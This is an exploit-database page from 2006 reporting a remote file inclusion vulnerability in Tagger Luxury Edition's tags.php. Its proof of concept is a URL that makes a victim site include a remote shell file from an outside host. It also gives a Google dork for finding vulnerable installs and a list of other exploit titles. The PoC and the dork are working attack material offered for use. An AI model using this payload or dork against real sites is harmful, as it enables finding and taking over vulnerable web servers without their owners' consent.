exploits , vulnerabilities , articles , Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability

2006-08-09

Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability

Rated as : Moderate Risk

Tagger v3 <= BBCodeFile Remote file inclusion

Discovered by : Morgan

Error in : tags.php
include($BBCodeFile);

Vendor Website: http://www.venturenine.com

PoC: 
http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat?

Google dork:

intitle:"Tagger LE" inurl:tags.php

Visit us :

www.ehmorgan.net
irc.gigachat.net
#Morgan 


securitydot.net - 2006-08-09

Exploits - newest 10 RSS | More

2007-06-15 56720 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 33836 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 41953 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29060 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19528 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16509 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19170 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16369 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33314 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17032 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit